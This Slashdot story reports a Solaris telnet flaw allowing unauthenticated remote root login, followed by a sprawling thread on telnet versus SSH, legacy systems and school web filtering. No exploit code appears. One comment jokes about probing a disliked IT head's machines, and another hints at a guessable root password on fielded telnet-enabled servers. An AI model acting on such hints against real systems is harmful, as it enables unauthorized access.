Solaris Telnet 0-day vulnerability

philos writes "According to SANS ISC, there's a vulnerability in Solaris 10 and 11 telnet that allows anyone to remotely connect as any account, including root, without authentication. Remote access can be gained with nothing more than a telnet client. More information and a Snort signature can be found at riosec.com. Worse, this is almost identical to a bug in AIX and Linux rlogin from way back in 1994."

Comments

Here come the fanboys

[Anonymous Coward]

Cue the "It's still more secure than Windows!" comments.

Re:Here come the fanboys

[Eco-Mono]

I wasn't aware that Solaris was really that popular.

Re:Here come the fanboys

[SatanicPuppy]

Just because it's not deployed in many places, doesn't mean that those places aren't cracker dream targets...I've got 5 Solaris machines, and the least critical of them is a far better target than the most critical Windows, or even Linux box.

Still, first poster is right. Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.

Re:Here come the fanboys

[Rob T Firefly]

Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.

I'll bet more of the IT-based Slashdotters than would like to admit are forced to support, or at least deal with, the most legacy of legacy crap now and then.

Re:Here come the fanboys

[SatanicPuppy]

Hehe. I am, on a daily basis, that's why I always include it as a disclaimer when I'm throwing down on some crap that people haven't done in 15 years.

Re:Here come the fanboys

[lanc]

Wtf uses telnet anymore

erm... never used telnet to test mail|web|etc-server-connection?

Re:Here come the fanboys

[SatanicPuppy]

Sure, but that's not what's being discussed. There is a world of difference between using telnet to fake some other non-encrypted protocol, and leaving the telnet service enabled on your machine.

Re:Here come the fanboys

[nettdata]

Of course... but that's not at all the same thing as running a telnet daemon and using that to establish a command line on the server.

Re:Here come the fanboys

[lanc]

hm. note to self: clear up the differences between telnetd and telnet. and possibly to read posts replying to.

Re:Here come the fanboys

[aussie_a]

I do and I would hardly call a game that is being actively worked on today to be "the most legacy of legacy crap."

Re:Here come the fanboys

[geoffspear]

If that MUD is using telnetd instead of using its own socket code, it may not be "the most legacy of legacy crap" but it's certainly the worst MUD software ever written.

Although I suspect you just have no idea what you're talking about and it's not doing that.

Re:Here come the fanboys

[annodomini]

Just a few months ago, I had to delete a sentence from Wikipedia claiming that it was a good practice for firewalls to block the SSH ports but leave open the Telnet ports. I've seen firewalls configured like that, too; I could Telnet out, but not use SSH. I'm sure there are people who turn on Telnet daemons because of such poorly configured firewalls.

Sure, it's a really stupid idea to leave Telnet turned on on a machine, but that doesn't mean that there aren't people who do it. Software vendors have to act like over-protective parents to their users in order for anyone to be secure, because most people, including many sysadmins (and many developers, for that matter), know next to nothing about effective security.

Re:Here come the fanboys

[Guido von Guido]

Don't remind me. Our goddamn billing app relies on it for client access. Fortunately it's heavily firewalled and not running on Solaris.

Re:Here come the fanboys

[Thuktun]

I'll bet more of the IT-based Slashdotters than would like to admit are forced to support, or at least deal with, the most legacy of legacy crap now and then. And how many of them allow legacy tools like that out of a well-secured sandbox surrounded by modern, hardened boxes?

Re:Here come the fanboys

[gallwapa]

In some environments, being able to open an SSH tunnel in or out of a network would be a security risk while telnet being unencrypted you know exactly what you're getting.

Just as an example, we receive federal funding based on filtering "inappropriate" websites from students. If kids could tunnel their connections over SSH, they would. Though, we also have telnet blocked because there is no need for it :)

Re:Here come the fanboys

[annodomini]

The thing is, you can tunnel pretty much anything over anything, and telnet would be pretty easy to tunnel over. In fact, if you really wanted you could tunnel SSH over Telnet, and retain the encryption. So, there is absolutely no reason to leave Telnet unblocked and SSH blocked. Furthermore, in an institutional environment like a school, you could just not install SSH clients, and not give the students sufficient privileges to run their own, which is more effective than blocking particular ports. As long as the users can run arbitrary software, or an SSH client that's already installed, they can just use a different port for SSH to get around a firewall block.

Basically, there is no way in which Telnet is more secure, and leaving a Telnet port open with an SSH port blocked will always harm security more than it will help.

Re:Here come the fanboys

[fyngyrz]

Just as an example, we receive federal funding based on filtering "inappropriate" websites from students.

...and there go my taxes, being used to fund censorship, a use I would never, under any circumstances, ever support or endorse.

Constitution: A document too difficult for the government to understand.

Re:Here come the fanboys

[guruevi]

Dude, I'm still supporting ADA and Fortran.

Re:Here come the fanboys

[aymanh]

erm... never used telnet to test mail|web|etc-server-connection?

Not anymore, netcat is a better replacement for creating sockets. One of its advantages is the ability to listen to ports.

Re:Here come the fanboys

[Anonymous Coward]

No, no, no! You (and half the "IT security industry") have got it all wrong.

Those port numbers mean _nothing_. If you want to run SSH over a telnet port, it works just as well as through the SSH port.

Re:Here come the fanboys

[geoffspear]

If you think the Constitution says that the government can't use your tax dollars to fund things that you personally would never, under any circumstances, support or endorse, I suggest you reread the entire document from the beginning and try to find anything whatsoever in there that would have this effect.

Oddly enough, the framers only gave one person the right to veto anything, and I'm pretty sure you're not that person.

Re:Here come the fanboys

[Matt Perry]

erm... never used telnet to test mail|web|etc-server-connection?

Doing that uses a telnet client. This article is about a telnet server.

Re:Here come the fanboys

[fyngyrz]

If you think the Constitution says that the government can't use your tax dollars to fund things that you personally would never, under any circumstances, support or endorse

No, the constitution says: "Congress shall make no law... abridging the freedom of speech, or of the press;" and I think that the government has failed to interpret this in the obvious spirit that it was meant. No censorship. None whatsoever. Written or spoken, the two venues they had at the time. Generalizing it today to visual is of course a no-brainer. I find it repellant that the government uses my money to directly and purposefully violate the charter that gives it its only legitimacy that does not come from coercion. And of course, the 1st amendment isn't the only casualty of government malfeasance. The 2nd is almost irrelevant, the commerce clause is a joke, ex post facto is routinely violated... the government is out of control and out of charter. My dismay stems from the observation that I am coerced into paying for its criminal activities.

What a shame you had to have that explained to you. That makes you part of the problem.

Re:Here come the fanboys

[dave562]

What a shame you had to have that explained to you. That makes you part of the problem.

It sounds to me like you're picking a fight in the wrong context. The guy works at a school. He filters content to keep kids from wasting their days looking at porn and other content that their parents would sue the school over. He's probably filtering the content to reduce the amount of adware and spyware that the workstations might be exposed to.

What you seem to be seeing is some huge conspiracy by the government to censor the Internet. Where'd that come from? On second thought, don't answer. I don't really want to know.

Re:Here come the fanboys

[pionzypher]

A company I worked for produces pstn / voip b2b conferencing solutions. The companies purchase a server with our software along with customized hardware. Our software runs on solaris 7/8 using an entirely antiquated netscape httpd. Every machine out in the field runs telnet, none ssh.

Not that it matters much, most logging is disabled, the root password is a three letter word for 'feline' and remote root logins are allowed.

Re:Here come the fanboys

[thogard]

There have been backdoored versions of netcat floating around the net for at least a decade. Check the source luke!

Re:Here come the fanboys

[Kymermosst]

I've got 5 Solaris machines

We have thousands of Solaris machines across seven data centers, and I am responsible for a few hundred.

Still, first poster is right. Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.

Agreed. Even "the most legacy of crap" can usually be adapted to SSH by proxy or other means. We don't have telnet installed anywhere (it is explicitly excluded from our Jumpstart profiles), we scan our systems for vulnerabilities and unwanted services, and like all good shops we are well-firewalled.

Re:Here come the fanboys

[fyngyrz]

It sounds to me like you're picking a fight in the wrong context.

Censorship at a school? I don't think so.

He filters content to keep kids from wasting their days looking at porn and other content that their parents would sue the school over.

Yes, that certainly is a problem on several fronts. That we have generations of blindered, cowardly citizens, poorly educated and all too used to the government playing the role of "mommy", and that we have a culture of running to lawyers to keep the system running in that mode, and that experience with the world as it is could be construed as "wasting their days" rather than learning about another corner of it. Not to mention the general repression of sexuality and open-mindedness that is the heritage of many decades of religious backwardness.

He's probably filtering the content to reduce the amount of adware and spyware that the workstations might be exposed to.

Well, best to coddle those kids. It isn't like they might have to learn to deal with that stuff on their own, is it. I mean, it's not like spyware, adware, porn, and "other content" is really out there in the real world. Keep them dumb and keep them controlled and soon we'll have another generation of voters who have no idea what is actually going on and will be good little republicrats. We wouldn't want to change anything, after all; we're perfect as we are.

Of course, even if I accepted the argument that spyware and adware isn't something we want them to learn how to deal with, I'd still be bound to point out that the system could have been designed/chosen to be immune to it without supervision in the first place.

On second thought, don't answer. I don't really want to know.

Yes. I am well aware of this. But you'll have to pull up your grown-up pants and deal with replies to statements you make, or else let them sit there for others to see you couldn't deal with them. Mr censorship-at-school isn't here to help you duck reality, and calling a lawyer won't help.

Re:Here come the fanboys

[WgT2]

This is so true.

I've dealt with way to many security-stone-agers for me not to agree with you. I cringe when the client I'm on the phone with mentions that they're using telnet, even when it's in their own network.

(I would hope sysadmins know more about effictive security than developers.)

Re:Here come the fanboys

[dave562]

OFF-TOPIC CONTENT

Yes, that certainly is a problem on several fronts. That we have generations of blindered, cowardly citizens, poorly educated and all too used to the government playing the role of "mommy", and that we have a culture of running to lawyers to keep the system running in that mode, and that experience with the world as it is could be construed as "wasting their days" rather than learning about another corner of it. Not to mention the general repression of sexuality and open-mindedness that is the heritage of many decades of religious backwardness.

There are a lot of "and's" there that link together a whole slew of ideas that could be topics in and of themselves. I will focus on "wasting their days" rather than learning about another corner of it. in the specific context of content filtering in schools.

I am not sure if you are an educator yourself, so you might have to talk to someone who is so that they can explain to you the need to foster a "productive learning environment." Most of the stuff that kids want to look at on the internet has absolutely nothing to do with what the teachers are teaching in class. Kids go to school to learn a curriculum. Anything beyond the scope of that curriculum is a "waste of time." I doubt that you are going to find many educators who have a problem with letting kids have access to Google or various research sites. On the other hand, www.backdoorbabes.com (may or may not be a real link, I don't know) doesn't have any place in a standard curriculum.

Not to mention the general repression of sexuality and open-mindedness that is the heritage of many decades of religious backwardness.

No disagreement here. The general "health" and sexual education programs in the public school system could definitely use some overhauling to reflect the reality of the way the world works, not the delusional way some backward groups wish it were.

Well, best to coddle those kids. It isn't like they might have to learn to deal with that stuff on their own, is it. I mean, it's not like spyware, adware, porn, and "other content" is really out there in the real world.

Following that train of logic, gangsters, guns and drugs are out there in the real world too. Maybe we should take security guards out of schools and let the kids do lines on their desks and then shoot eat other at lunch.

Yes. I am well aware of this. But you'll have to pull up your grown-up pants and deal with replies to statements you make,

Dealt with. Come on back at me big guy.

Re:Here come the fanboys

[fyngyrz]

I am not sure if you are an educator yourself, so you might have to talk to someone who is so that they can explain to you the need to foster a "productive learning environment."

As it turns out, I have taught electronics in both a high school environment and a corporate environment; I have also taught martial arts for just over thirty years. In no case have I found it necessary to limit the conversation, subject matter, asides, tangents, humor, sensuality, socializing, profanity or other non-course related material by content - only by volume. Furthermore, it is my opinion that such an open and non-repressive environment causes knowledge to both stick sooner and last longer than an environment where the subject matter is all there is in a droning, narrow, and annoying trip down mental paths with the fewest possible number of indirect and/or unrelated situations. When I say limit by volume, I am saying that it is appropriate and reasonable to say "ok, that's enough of that for now, let us now further explore [subject matter]" because the job is to guide the student down the path such that they understand where they came from, where they got to, and how they got there - not to deny that the trip is part of normal life. And yes, as it turns out, I'm a very successful instructor as measured by the on-completion quality of the students.

Most of the stuff that kids want to look at on the internet has absolutely nothing to do with what the teachers are teaching in class.

I would in no way dispute this assertion. However, I do not think this is a bad thing. Quite the contrary. We're not maniacal single-focus machines. Most of us, anyway. Trying to tighten the environmental screws down so that we have to act like we are single-foxus machines has not been demonstrated to actually be the right way to go; it is just an assumption, one that is obviously convenient for those who would censor, limit, restrict and otherwise control - rather than encourage learning. Really good instruction is analogous to a guide on a journey - not a guard on a cell.

Following that train of logic, gangsters, guns and drugs are out there in the real world too. Maybe we should take security guards out of schools and let the kids do lines on their desks and then shoot eat other at lunch.

Oh, we should definitely take security guards out of school. Schools are a mess, all right, but security guards aren't a solution, they're just more mess. Our schools (speaking as a USA-ian) are just awful. That's a whole new thread. Upon which I have volumes to say. You sure you want to go there?

Why is this a big deal?

[nettdata]

Who the hell even THINKS about enabling telnet on any box these days?

Re:Why is this a big deal?

[Minwee]

Well, according to TFA, nobody should.

Re:Why is this a big deal?

[Anonymous Coward]

Beats me. We don't even use Telnet or rlogin internally any more, even for servers within our own subnet. It's SSH or nothing.

Re:Why is this a big deal?

[TheGratefulNet]

nothing WRONG with telnet. I use it all the time.

but ONLY on trusted lans, of course.

I find it quicker than ssh logins. of course its quicker, it has no encryption to do. and the initial seeding (at connect time) also takes a LONG time on some boxes (ssh to a cisco box; come back after lunch and you'll get your login prompt).

telnet over a wan is dumb. telnet over a 10' piece of wire is NOT dumb.

telnet has its place.

Re:Why is this a big deal?

[drsmithy]

Who the hell even THINKS about enabling telnet on any box these days?

Sun, apparently, since it's enabled by default.

Re:Why is this a big deal?

[imikem]

Relevant line from /etc/services:

telnet 23/tcp imadumbass hackmenow rootrus rotflmao

Re:Why is this a big deal?

[teslar]

I do. And then I sit down naked in the snow and castigate myself with a 9-tail as a punishment for these impure thoughts.

Having said that, today is a good day to find out if that head of IT you never liked anyway has telnet enabled on one of his Solaris machines :)

Re:Why is this a big deal?

[SatanicPuppy]

Telnet is dumb! Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what? Most sane people just use it for a remote console, and speed isn't much of an issue in those circumstances...

Opening/enabling telnet is a mistake. Even if you're using it safely, which, in my mind, is across a hub that isn't connected to anything else but the two computers you're talking to you've still got that port open and vulnerable. Using it on a LAN is just begging someone with a packet sniffer to come along and steal your user info.

Re:Why is this a big deal?

[walt-sjc]

If ssh on your cisco boxes is slow, you either have serious network problems or your cisco box has been end-of-life for 10 years. If you don't practice security inside your network, you are asking for trouble. Perimeter-only security is Sooo 1990. Time to join the next century.

Re:Why is this a big deal?

[nfsilkey]

Solaris 10 6/06 media-based installs think you should. It is enabled by default.

Re:Why is this a big deal?

[Nasarius]

Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what?

I think GP is referring to the initial connect handshake. Oh no, it takes an extra 500ms to establish a secure connection. If your network is private enough to feel safe using telnet, you can certainly set up RSA/DSA keys to use SSH without a password, eliminating the time it takes to enter it.

Re:Why is this a big deal?

[SatanicPuppy]

Considering the salary and experience requirements to get any sort of decent Solaris administrator, telnet being left open on any sort of non-legacy hardware can only be excused because of some ridiculous legacy application needs.

Re:Why is this a big deal?

[canuck57]

Who the hell even THINKS about enabling telnet on any box these days?

And how many remember to run "pkgrm SUNWtnetd" to be sure.

Re:Why is this a big deal?

[alexhs]

What about rsh ?

Sending password in clear text is disturbing, even on a "trusted" network. I mean, it's so easy to do a tcpdump...

With rsh you don't even need to (instead edit .rhosts). And IIRC there's a possibility to use crypto like kerberos to authenticate (but I don't use it on my home LAN), while data is still sent without encryption.

Re:Why is this a big deal?

[Anonymous Coward]

Not in 11/06 it's not...

Re:Why is this a big deal?

[bockelboy]

Let me take a crack at this:

1) Fermi National Accelerator Laboratory.

That'll account for a couple thousand computers. It's left as an exercise for the reader to find other sites.

Are they just crazy? I know that almost every single box at FNAL has the telnet daemon running, and is behind no firewall. Why aren't they hacked-to-death? Kerberos.

FNAL has a policy that every service beyond central IT's web pages is protected by Kerberos. The Kerberos-enabled version of telnet is as secure as one can get; I've been told by their sysadmins that it is more secure than SSH because it is simpler and the network and authz/authn stacks are separated. So, historically, Kerberos-enabled telnet has had less bugs than SSH.

Just because YOU don't run telnet (or don't know how to run it securely) doesn't mean that there aren't thousands of boxes out there that are secured by it.

If there are actually any Sun boxes at FNAL (they were one of the original big adopters of Linux), you can bet they'll probably be turned off today...

Re:Why is this a big deal?

[SatanicPuppy]

Well, the encryption will still add a level of overhead to your packet traffic, so the whole thing will be "slower" but, from experience, you can play Zangband in either one and you'll still have to turn the key delay way up to keep it from getting you killed, and that's about the most bandwidth intensive application I've ever run in ssh that could have been run just as well in telnet.

Re:Why is this a big deal?

[fimbulvetr]

Oh no, it takes an extra 500ms to establish a secure connection

It may take _that_ long on a sparc box, but stick some nice amd opterons in there and you'll never even notice. Seriously though, even on a private lan is stupid. SSH has replaced telnet for a reason. If that was one of my servers, I'd tell the guy to GFY.

Re:Why is this a big deal?

[SatanicPuppy]

Just to nitpick, nothing is secured by telnet. Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

Re:Why is this a big deal?

[nettdata]

Sure, the authentication might be secure, but what about the content? It's still plain text, and easily snarfable. If someone's doing any kind of admin via telnet, then that admin info is somewhat easily available.

But hey, "right tool for the right job" and all that... if they find that their use cases and pertinent security threat assessments can allow for cleartext communications, then more power to them.

I also don't really consider "kerberos-enabled telnet" to be "telnet"... it's more like telnet on steroids.

For me, and the environments I work in (banks, governments, etc), ssh is the no-brainer choice, and telnet is disabled.

Re:Why is this a big deal?

[mi]

If ssh on your cisco boxes is slow, you either have serious network problems [...]

Most likely, the reverse DNS is misconfigured. This is the number one reason for ssh-login delays. Maybe, the nameservers initially put into the router's configuration are no longer reachable due to subsequent "hardening". Or, maybe, they went away and were replaced long ago — without anybody telling the routers. Nothing else on a router uses DNS usually, so this problem affects only ssh-daemon and gets blamed on it...

The daemon could, of course, be a little bit smarter and not try to do a reverse DNS, when there are no hostname-based authorization rules in the first place... But that's a minor bug compared to reverse DNS being dysfunctional.

Re:Why is this a big deal?

[dknj]

except it's not... (at least not as of the 10/06 release)

Re:Why is this a big deal?

[TheRaven64]

Host based access control is a very bad thing to do. It's very easy to spoof an IP as origin, and if you overload your switch with packets from spoofed IPs then you will end up with all packets being broadcast so you can set up a bi-directional connection.

To the grandparent, the overhead of SSH is tiny. The time spent entering your password over telnet is going to be greater than the time spent doing a public key handshake on anything faster than a 486SX. If you are lazy, share private keys on all of your trusted machines.

Re:Why is this a big deal?

[ePhil_One]

It may take _that_ long on a sparc box, but stick some nice amd opterons in there and you'll never even notice.

Thats nice and all, but I believe the GP was referring to systems w/ embedded processors, where thast not an option, and I also think he was whining about the initial key gereation (that first time you set it up process), which can take a bit of time on embedded processors. As an example, the Pix 515 has a lowly Pentium 166 at its core, the heavy math of calculating big primes can take a while. Then again, there's still some equipment out there that doesn't support SSH, only telnet.

None of which applies to TFA, which deals with using Telnet to access SUN servers/workstations, I agree there no reason that should be left on and it mystifies me that it continues to be the default for the big commercial Unixes (Both AIX and Solaris seem to want to use it by default, you have to enable SSH and turn off Telnet intentionally.

Re:Why is this a big deal?

[Alioth]

Good grief. Even my ancient VAX (circa 1988-1989) running OpenBSD will get you logged in with the latest version of ssh in a matter of seconds. Your cisco box, I suspect, is from the cretaceous period.

You should encrypt on the LAN anyway unless there is a really good reason not to - many hacks/information thefts/destruction of data etc. is caused by company insiders. There is no such thing as a trusted network (except perhaps the network in your house). The expectation that a company LAN is secure has got many people burned in the past. Friends don't let friends pass login credentials unencrypted.

Re:Why is this a big deal?

[Anonymous Coward]

One of my laptops is still a P166, and while maybe generating initial keys took a small amount of time, I never experienced any noticeable delays SSHing into it, and I'd never dream of doing something so stupid.

Now maybe if he was connecting to something like this.
http://linuxdevices.com/news/NS8199781438.html

Re:Why is this a big deal?

[bockelboy]

No, the content is not plain text. I guess you could turn off the data encryption... but why?

I seriously have been told by the FNAL folks that they consider SSH less secure, as it is much more complicated. They also don't trust it, as some of the auth protocols have been rewritten several times because of security-related "oversights".

Anyhow, my original point is that just because the original poster doesn't know how to use telnet securely doesn't mean there aren't large, secure sites which rely on telnet on a day-to-day basis. They would be very interested in examining the impact of this exploit.

Re:Why is this a big deal?

[JoeRandomHacker]

My company's policy forbids outbound ssh, and they block port 22, since they are afraid of all the evil nasty things that could be tunneled through it. This keeps me from using ssh to log in to my machine at home. (Yes, I know I can run ssh over another port, but I'd rather work within the rules if I can.)

As a workaround I use telnet with s/key authentication http://en.wikipedia.org/wiki/S/Key to log in while keeping my password from going out in the clear. I just have to be careful not to put anything sensitive over that connection. It isn't great, but it works.

Re:Why is this a big deal?

[Anonymous Coward]

University professors, that's who! Try telling them they can't run telnet and they will claim that it is there "academic freedom" to do so! It's one of those old-school protocols that they learned 20 years ago and never bothered learning anything new.

Re:Why is this a big deal?

[Cheesey]

I actually find SSH faster, because I've got public key authentication set up and never have to enter a password. Because ssh-agent does all the authentication for me, I can log in to remote machines without any delay at all. Whereas with telnet I would have to enter a password. It would be equally fast to use rlogin with host based authentication, but the thought of using host based authentication makes me feel very ill.

I just enter my passphrase after I log in (using ssh-add), and then ssh-agent manages the RSA key(s) that I use to connect to the other machines.

I highly recommend this arrangement, but if you use it, you must be careful not to enable authentication forwarding to untrusted hosts (-A switch). Also be careful about forwarding X11 connections (-X switch). And don't have one key for all your accounts: divide them into zones of trust, each with a separate key, and never connect from a less-trusted machine to a more-trusted machine. For instance, my computer at work is not as trusted (by me) as my computer at home.

Re:Why is this a big deal?

[Zan Lynx]

I know of at least one large site that uses telnet and other unencrypted protocols. They do use password + token encrypted authentication, but that is the exception. Their security policies are Orwellian. Their IDS watches everything. Encrypted sessions are assumed to be evil, and are hunted down and killed. The rest is matched against statistical usage patterns and off-pattern usage is popped up to a security administrator with a complete session trace.

That is all internal of course. Off-site access is through VPN.

All of this could not be easily done with encrypted protocols.

Re:Why is this a big deal?

[ladybugfi]

I don't think a lot of organizations are running telnet open to the Internet, but from practical auditing experience I can say that lots of companies have failed to disable telnet in their internal network(s). Their security model is focused on keeping the perimeter secure by firewalls, IDS and whatnot, but internally all their systems run default installs without any security hardening. They really haven't yet realized that multilayer security is a must these days also in the IT area.

Re:Why is this a big deal?

[alexhs]

To the grandparent, the overhead of SSH is tiny. The time spent entering your password over telnet is going to be greater than the time spent doing a public key handshake on anything faster than a 486SX. If you are lazy, share private keys on all of your trusted machines. Exagerated. My home server is a Pentium 166 MX. I can exchange less than 10Mbps with ssh, while I can transfer a little more than 30Mbps with rsh unencrypted content. That's why I'm using rsh.

About IP spoofing, remember I was comparing rsh to telnet, not to ssh. Kerberos requires authentification so IP spoofing won't be enough, and IP spoofing can be detected checking MAC address. MAC address can also be spoofed, but it becomes more difficult to do that without being detected than a tcpdump.

Re:Why is this a big deal?

[walt-sjc]

That's exactly what I meant by "serious network problems". Reverse DNS being broken seems to be the number one cause of slow SSH. If reverse DNS is missing / broken, ssh won't be the only thing slow.

Re:Why is this a big deal?

[udippel]

Who the hell even THINKS about enabling telnet on any box these days?

It really beats me, how this is 'Insightful' as of now at +4 ??

What also beats me, that a default install of Solaris 10 seems to have it open. Idiots. Was just sitting at one and saying to myself: Let's show it is harmless. And post to Slashdot. And voilà, there I was. Open. Fscking dimwits. No, it wasn't me opening it up. Can't you trust anyone these days ?
I really adore Theo's resolve that boxes need to be unlocked instead of locked down.

Re:Why is this a big deal?

[99BottlesOfBeerInMyF]

Who the hell even THINKS about enabling telnet on any box these days?

Sadly, a whole lot of people. I work for a company that makes very expensive and cool specialty servers that perform certain security related functions. As a security company, naturally we take care not to tarnish our reputation by leaving these servers vulnerable themselves. We try to encourage our customers to be moderately responsible as well, as any box can be made insecure. I know of at least on tier-1 ISP that has one of our boxes sitting publicly accessible with telnet enabled and no IP access restrictions.

As for who uses telnet in general, most ISPs in Asia seem to use telnet to configure their systems via their control networks. Large financial institutions in Europe use telnet, as use of encryption is restricted on their trusted networks, for reasons of transparency to the stock regulating authorities. ISPs in South America often use telnet and provide shell accounts to customers. I'm sure there are more groups that use it for one reason or another.

Re:Why is this a big deal?

[Anonymous Coward]

What's wrong with telnet? I use it to manage my anonymous FTP servers...

Re:Why is this a big deal?

[Anonymous Coward]

Hard, crunchy outside... Soft, chewy inside!

Re:Why is this a big deal?

[SatanicPuppy]

Sounds like they're more interested in watching their own employees than in securing their systems from external threats.

If it were me I'd just log everything in every session (which is easy), and make the users use SSH. That way you can audit everything they do, every command they type, but still have a level of security. You have to remember that any user can sniff telnet traffic on the network, so forcing everyone to use telnet because you don't trust them means the ones who are untrustworthy have a better chance of stealing something useful from a coworker.

Even better would be to hire trustworthy people and treat them as such in the absence of evidence to the contrary.

Re:Why is this a big deal?

[walt-sjc]

Plain Telnet is plaintext - tcpdump will show you that. There is no encryption in plain telnet sessions. The data you in your session can be even MORE sensitive than your password especially if you are using some alternative password schemes, such as one time passwords S/Key / Opie.

When you are doing Kerberos, then it's no longer plain telnet - it's a whole different animal. It's unfortunate that it is still called "telnet" because you can't use normal telnet clients or servers with it and get any security at all.

Re:Why is this a big deal?

[udippel]

Whatever the SUNny fanboys have / had to say:
Only in Solaris 10 11/06 was it disabled, and only if SBD was selected.
This sheds a wholly new light on 'Secure By Default':
Disabling telnet ! Yahoo ! - if SBD is set.

Re:Why is this a big deal?

[TheGratefulNet]

its NOT 500ms on my cisco boxes.

admittedly, they'd old 'test' junker boxes that I use for netmgt testing. I had to write some expect style scripts to login to them, throw a command, get the buffer output, parse it and disconnect. for each kind of 'thing' I wanted to remotely retrieve.

it took over 20 secs, on SOME cisco boxes, to get a ssh prompt back.

quite unacceptable.

then I used telnet and it was almost instant.

again, if you secure your lan (my 10' piece of PRIVATE WIRE) there is NOTHING wrong with telnet. nothing.

people don't always need to lock EVERY door. if I own my own house, why the hell should I lock my bedroom door?? ;)

use sense, people. the knee-jerk reaction to 'OMG!! telnet!!' is just absurd. if you use it in a private network, its fine.

btw, I just tested that solaris exploit on my sun box at work and it did NOT log me into root. not sure if my box was already patched (another group maintains it) but the exploit did not log me into root.

# uname -a
SunOS myhost 5.10 Generic sun4u sparc SUNW,Sun-Blade-1500

# uptime
    7:07am up 281 day(s), 22:51, 2 users, load average: 0.03, 0.20, 0.19

otoh, with an uptime like that, I kind of doubt any patching was done... ;)

Re:Why is this a big deal?

[gp1628]

There are lots of reasons for telnet to still exist. Its the rawest sending protocol in existence. Mostly as a client more than a server daemon. But the concerns about telnet are more noise than actual events. The MUDs have proven that for decades. On the other hand, I would never recommend that it be defaulted to "on" in any server install. Even if attempts at it are so rare that its almost a good choice for that first 20 minutes of being online. Since most attacks are now against ssh, ftp, web, dns, etc etc its probably just as good an idea not to have any of them turned on by default. Let the person turn them on one at a time when they are ready to immeadiately put time into patching and hardening it. The best option for an installer might be to allow the person to select a protocol, and an unusual port for it, then switch to it for further setup of the install. Gandalf Parker

Re:Why is this a big deal?

[jaymzter]

I have 11/06, and believe me, I was surprised to find telnet enabled.

Re:Why is this a big deal?

[arth1]

Since the exploit site didn't yet have information about older versions of Solaris/SunOS, I hope it can quench the panic for some when I say that only Solaris 10+ appears to be affected.

If you're on Solaris 8 (SunOS 5.8 or Solaris 2.5.8) or 9 (SunOS 5.9, or Solaris 2.5.9), you appear to be safe.

This is relevant because large companies seldom jump to the newer versions until they have to - for production systems, as long as the older versions are supported and working, that's more important than gambling on existing software still working if upgrading the OS. So there's an awful lot of systems with Solaris 8 and 9 out there, but luckily they appear not to be affected.

Re:Why is this a big deal?

[Zantetsuken]

But doesn't Solaris have the option to turn telnet, ssh, etc on/off when you install the system? Unless somebody else installed your Solaris for you, why would it be left on?

Re:Why is this a big deal?

[Viol8]

>use sense, people. the knee-jerk reaction to 'OMG!! telnet!!' is just absurd. if you use it in a private network, its fine.

This is slashdot. Unless you follow the group-think concensus you'll never get any respect. You must remember that group-thinkers "know" that you must ALWAYS use encryption, even on a physically seperate LAN used only by you and your dog. They can't give you a reason why , they just "know" it must be that way. Then once they've given you their reply and the usual standard issue sarcastic vitriol they'll wander off back to the field to graze.

Re:Why is this a big deal?

[arth1]

Why uninstall it? telnetd can be useful to have installed even if not enabled. If you ever need to snoop cleartext key presses to troubleshoot a network problem, it's handy to have around to enable for that purpose (especially if nothing else uses port 23).

Also, there are high security diamond shell environments where you do not WANT encryption, but need to be able to monitor and capture all traffic. In these secured facilities, every single keypress a contractor does or byte he sends must be captured so it can be analysed.

Regards,
--
*Art

Re:Why is this a big deal?

[SatanicPuppy]

Jackass.

That's like saying, "If you have a million dollars in the bank it should be stored in a safe, but if you have ten thousand dollars in your house, it's okay to put it in your sock drawer." Just because the stakes are lower at home doesn't mean you can't have serious issues.

Security best practices are the same whether you're talking about securing your home network or a military network, and while encrypting your hard drive may be over kill on a home network, disabling extra network services and using the more secure of two protocols is only common sense.

Worst of all, you're building work habits that revolve around insecure protocols. When you telnet to a machine, you're sending your login information over an unencrypted connection, and this should never happen. It's just foolish.

Re:Why is this a big deal?

[oh_the_humanity]

I home you have no wireless access points, or any un patched windows boxen, cause your just begging to get owned. Doesnt matter how "safe" you think your network is. anyone who still uses telnet for anything is asking for it.

Re:Why is this a big deal?

[arth1]

Vendor support for ssh is one factor. Many companies have aversions to installing software unless it's backed by FULL support from the vendor. Having to go to a third party, like F-Secure, to get vendor support is often undesirable, and unfortunately, security can lose to support requirements, service level agreements and response time. Even worse is that there's multiple and sometimes incompatible versions of SSH out there - what may come with one system isn't guaranteed to work with another.
Can you get the OS vendor to jump and have a man there within 30 minutes to fix it if a supported OS function doesn't work? Yes. Can you get the OS vendor to jump and have a man there within 30 minutes if OpenSSH doesn't work? No. Sometimes it's as simple as that, unfortunately.

That said, don't think that I believe telnet is a good substitute for ssh, but often, and especially in a turtled environment (hard on the outside, soft on the inside) where five nines are more important than internal security, it may still be a better choice, at least until all the OS vendors provide fully supported (and compatible!) versions of SSH.

Re:Why is this a big deal?

[Anonymous Coward]

Usually, Solaris is installed and managed by competent administrators, who do not rely on some "Secure By Default" feature, to secure their systems. They either do not install the telnet daemon or will ensure it is disabled. I am sure Sun added this SBD feature to make Windows and Linux administrators, who are used to installing everything by default and playing menu roulette to secure a system, feel more at home.

And, yes, I will agree that there are *some* competent Windows and Linux administrators out there.

Anyway, 0-day exploit? So how long ago did this report come out, or does the 0-day refer to Solaris 11, which has not officially shipped?

Re:Why is this a big deal?

[Anonymous Coward]

If the only account you provide is an anonymous account with read-only access, who cares if the password is sniffed?

Re:Why is this a big deal?

[Khabok]

Nothing takes 500ms with lower-end Cisco hardware. Seriously, you need a login that complicated, get it going and go do something else for a while. Ever seen a 2600 series try to update the Ios? 5mB Ios image over 100mbps full duplex and a high-speed NIC / AUI trasciever at either end. Twenty minutes. Granted they're still using tftp, but still, that is ridiculous overhead to pull down five meg and load it into flash.

Networking hardware tends to be like that. Just because SSH works great between you and your server, or even between you and your shiny enterprise switch, does not make it a good sollution for small businesses, schools, and anyone else getting shafted by their hardware provider.

Seriously, Cisco and HP will just tear your wallet out through your heart if you don't buy high-grade equipment. We've got a switch we're working on at this here school site that's been spontaneously dumping its cache every time it hits 30% usage. Now, it's clear enough nobody configured it that way, and none of our five technicians has managed to fix it yet. Speedbump, maybe?

